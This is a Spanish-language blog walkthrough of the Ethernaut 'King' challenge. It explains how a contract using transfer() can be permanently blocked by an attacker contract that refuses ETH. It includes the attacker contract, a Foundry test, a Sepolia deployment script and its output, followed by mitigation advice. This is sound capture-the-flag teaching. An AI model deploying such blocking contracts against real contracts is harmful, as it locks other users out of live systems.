← Volver al blog
Mike B. - SecLat Security13 de mayo de 2026

Ethernaut Level 9 Walkthrough: Cómo Romper el Contrato King usando transfer()

En este artículo analizaremos y resolveremos el reto número 9 de Ethernaut: King.

Este nivel introduce una vulnerabilidad clásica de tipo Denial of Service (DoS) causada por el uso inseguro de transfer() en Solidity.

Además de resolver el reto, entenderemos:

  • Cómo funcionan send, transfer y call
  • Por qué transfer() puede bloquear contratos
  • Cómo explotar un DoS via revert
  • Cómo construir un contrato atacante en Solidity
  • Cómo validar el exploit usando Foundry y Sepolia

Esta serie está diseñada tanto para desarrolladores de smart contracts como para personas interesadas en auditoría y seguridad ofensiva en Web3.

Si eres desarrollador, aprenderás patrones inseguros que debes evitar en producción.

Si te interesa la seguridad de smart contracts, estos retos te ayudarán a reconocer vulnerabilidades reales utilizadas en exploits y auditorías profesionales.

Puedes intentar resolver el reto por tu cuenta primero y luego regresar a este writeup, o seguir el artículo paso a paso mientras analizamos el exploit para que aprendas la vulnerabilidad y despues puedas resolver el reto en ethernaut.

Si quieres ver los videos donde resolví los primeros 8 retos del Ethernaut y aprender sobre esos bugs puedes verlos en nuestro canal en YouTube - Seclat y no olvides suscríbirte.

¿Qué es Ethernaut?

Ethernaut es una plataforma creada por OpenZeppelin para aprender seguridad de smart contracts mediante retos prácticos.

Cada nivel introduce una vulnerabilidad real utilizada históricamente en contratos inteligentes, permitiendo aprender explotación, análisis y mitigación de bugs en Solidity.

En este caso resolveremos el reto King, enfocado en vulnerabilidades de tipo Denial of Service (DoS) mediante transferencias inseguras de ETH.

Descripción del Reto

El reto implementa un pequeño juego donde el usuario que envíe la mayor cantidad de ETH se convierte en el nuevo rey del contrato.

Sin embargo, cualquier usuario puede destronar al rey actual enviando una cantidad mayor de ETH.

El objetivo del reto es:

Convertirse en el rey y evitar que cualquier otro usuario pueda volver a tomar el trono.

Vulnerability Classification

CategoríaValor
Vulnerabilidad:Denial of Service (DoS)
Root Cause:Uso inseguro de transfer()
Impacto:Bloqueo permanente del juego
Severidad:Medium
Tipo de ataque:DoS via revert

Análisis del Contrato Vulnerable

Este es el contrato del reto:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

Root Cause de la Vulnerabilidad

A primera vista, el contrato parece seguro: únicamente implementa una mecánica simple donde el usuario que envíe más ETH se convierte en el nuevo rey.

Sin embargo, existe una vulnerabilidad crítica de tipo Denial of Service (DoS) debido al uso de transfer() para realizar reembolsos al rey anterior.

La lógica vulnerable es esta:

payable(king).transfer(msg.value);

El contrato intenta devolver el ETH al rey anterior antes de actualizar al nuevo rey.

El problema ocurre porque transfer() revierte automáticamente si el receptor no puede aceptar ETH.

Esto significa que si un atacante logra convertirse en rey usando un contrato que rechace recibir ETH, cualquier intento futuro de destronarlo fallará.

La vulnerabilidad no consiste en robar fondos.

El objetivo del atacante es bloquear permanentemente el flujo normal del contrato, evitando que futuros usuarios puedan convertirse en el nuevo rey.


Entendiendo: send, transfer y call.

Para comprender completamente este reto es importante entender cómo funcionan las principales formas de enviar ETH en Solidity.


send

address(payable).send(amount)

Características:

  • Envía ETH a una dirección.
  • Reenvía únicamente 2300 gas.
  • Retorna true o false para validar la Tx.
  • No revierte automáticamente.

transfer

address(payable).transfer(amount)

Características:

  • Envía ETH a una dirección.
  • Reenvía únicamente 2300 gas.
  • Revierte automáticamente en caso de error.

Este comportamiento es precisamente el origen de la vulnerabilidad en este reto.


call

address.call{value: amount}("")

Características:

  • Método moderno recomendado para enviar ETH.
  • Reenvía gas dinámicamente siguiendo la regla 63/64 del EIP-150.
  • Retorna (bool success, bytes memory data).
  • Permite ejecución arbitraria en el receptor.

Debido a esto, las funciones que utilizan call deben protegerse contra reentrancy attacks usando patrones como:

  • Checks-Effects-Interactions (CEI)
  • Reentrancy Guards

¿Por Qué transfer() es Peligroso?

Aunque send() y transfer() siguen disponibles en Solidity, actualmente se consideran anti-patterns para transferencias de ETH debido a cambios en los costos de gas introducidos por EIPs como EIP-1884.

La recomendación moderna es utilizar:

address.call{value: amount}("")

junto con protecciones contra reentrancy.


Estrategia del Ataque

Ahora que entendemos el problema, podemos diseñar el exploit.

Sabemos que:

  1. El contrato usa transfer()
  2. transfer() revierte si el receptor no acepta ETH
  3. El contrato devuelve ETH al rey anterior antes de actualizar el nuevo rey

Entonces la estrategia será:

  1. Crear un contrato atacante que NO pueda recibir ETH
  2. Convertir ese contrato en el rey
  3. Forzar que cualquier intento futuro de reemplazarlo falle

De esta forma bloquearemos permanentemente el contrato.


Contrato Atacante

Crearemos el siguiente contrato:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

///@notice This contract cannot receive ether, so once it becomes the king, it will never give up the throne,
// because the receive function of the King contract will fail when trying to send ether to this contract.
contract KingForever {
    address public king;
    address public owner;

    constructor(address _kingSC) {
        owner = msg.sender;
        king = _kingSC;
    }

    /// Execute the attack and become the king forever.
    function attack() public payable {
        require(owner == msg.sender, "Not The Owner");
        (bool result,) = king.call{value: msg.value}("");
        if (!result) revert();
    }
}

Este contrato ejecuta el ataque enviando ETH al contrato vulnerable para convertirse en el nuevo rey.

La clave del exploit es que este contrato no implementa receive() ni fallback() para aceptar ETH, por lo tanto, cuando el contrato King intente devolver ETH usando transfer(), la transacción revertirá automáticamente.


Validando el Exploit con Foundry

Despues de clonar el repositorio de ethernaut en nuestro equipo, crearemos un test usando Foundry para validar el ataque.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {King} from "src/levels/King.sol";
import {KingFactory} from "src/levels/KingFactory.sol";
import {KingForever} from "test/Solutions/Attacks/KingForever.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestKing_L8 is Test, Utils {
    Ethernaut ethernaut;
    King instance;
    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);
        owner = users[0];
        vm.label(owner, "Owner");
        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        KingFactory factory = new KingFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = King(
            payable(
                createLevelInstance(ethernaut,Level(address(factory)),0.001 ether)
            )
        );
        vm.stopPrank();
    }

    /// @notice Check initial state.
    function testInit() public {
        vm.startPrank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
    }

    /// @notice Execute the exploit.
    function testSolve() public {
        vm.startPrank(player);
        KingForever attacker =new KingForever(address(instance));
        attacker.attack{value: 0.002 ether}();
        assertEq(instance._king(), address(attacker));
        assertTrue(
            submitLevelInstance(ethernaut, address(instance))
        );
    }
}

Ejecutando el Test

Para ejecutar el test en un fork de Sepolia usamos:

forge test --mp King_L8.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vv

es necesario tener la variable SEPOLIA_RPC en tu archivo .env , si la terminal no reconoce la variable $SEPOLIA_RPC, ejecuta:

source .env

Al ejecutar el test veremos que el exploit funciona correctamente y el nivel es resuelto exitosamente.


Resolviendo el Nivel en Sepolia

Ahora crearemos un script para ejecutar el ataque directamente sobre la instancia generada en Ethernaut.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";
import {King} from "src/levels/King.sol";
import {KingForever} from "test/Solutions/Attacks/KingForever.sol";

import {console} from "forge-std/console.sol";

contract KingScript is Script {
    King public king;
    KingForever public attacker;

    address player =
        0x79ca0378515232218094a16B2CEdB7f3f0c6b657;

    function setUp() public {
        king = King(
            payable(
                0xCCB930b75db245A557aFC7A84f52bBd3F2dFd513
            )
        );
    }

    function run() public {
        vm.startBroadcast();
        attacker = new KingForever(address(king));
        attacker.attack{value: 0.002 ether}();

        console.log("Attacker contract address:",address(attacker));
        console.log("Current king:",king._king());
        vm.stopBroadcast();
    }
}

Ejecutando el Script

Primero ejecutamos el script localmente:

forge script scripts/King.s.sol --rpc-url $SEPOLIA_RPC

Si todo funciona correctamente, podemos enviarlo a Sepolia:

forge script scripts/King.s.sol \
--rpc-url $SEPOLIA_RPC \
--broadcast \
--interactives 1 \
-vvv

Resultado del Ataque

Script ran successfully.

== Logs ==
  Attacker contract address: 0xEBBDD258e21f074fa24cc4209c0513A0774A5ec9
  Current king: 0xEBBDD258e21f074fa24cc4209c0513A0774A5ec9

ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.

Una vez ejecutado el script exitosamente, el contrato atacante se convierte en el rey permanente del juego.

Finalmente, solo queda enviar la instancia desde la plataforma de Ethernaut para marcar el nivel como resuelto.

Ethernaut solved


Lecciones Aprendidas

Este reto demuestra por qué el uso de transfer() puede introducir vulnerabilidades de Denial of Service en smart contracts.

Cuando un contrato depende de que una transferencia de ETH siempre tenga éxito, un atacante puede bloquear completamente la lógica del sistema utilizando un contrato que rechace recibir fondos.

Actualmente, la práctica recomendada es:

  • Usar call{value: amount}("")
  • Implementar el patrón Checks-Effects-Interactions
  • Proteger funciones externas con mecanismos anti-reentrancy
  • Evitar asumir que los receptores podrán aceptar ETH

Aunque Ethernaut simplifica los escenarios para fines educativos, este tipo de vulnerabilidad ha aparecido en protocolos reales dentro del ecosistema Ethereum.


Conclusión

En este reto explotamos una vulnerabilidad de tipo DoS causada por el uso inseguro de transfer().

Creamos un contrato atacante incapaz de recibir ETH y lo utilizamos para bloquear permanentemente el contrato vulnerable, evitando que cualquier otro usuario pudiera convertirse en el nuevo rey.

Este nivel es una excelente introducción a:

  • DoS via revert
  • Transferencias inseguras de ETH
  • Limitaciones de transfer()
  • Patrones seguros para envío de fondos
  • Diseño seguro de smart contracts

Si te gustó este writeup, puedes seguir la serie completa donde resolveremos más niveles de Ethernaut y analizaremos vulnerabilidades reales de smart contracts y protocolos DeFi.

Tambien puedes revisar más contenido de seguridad Web3 en nuestro blog

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.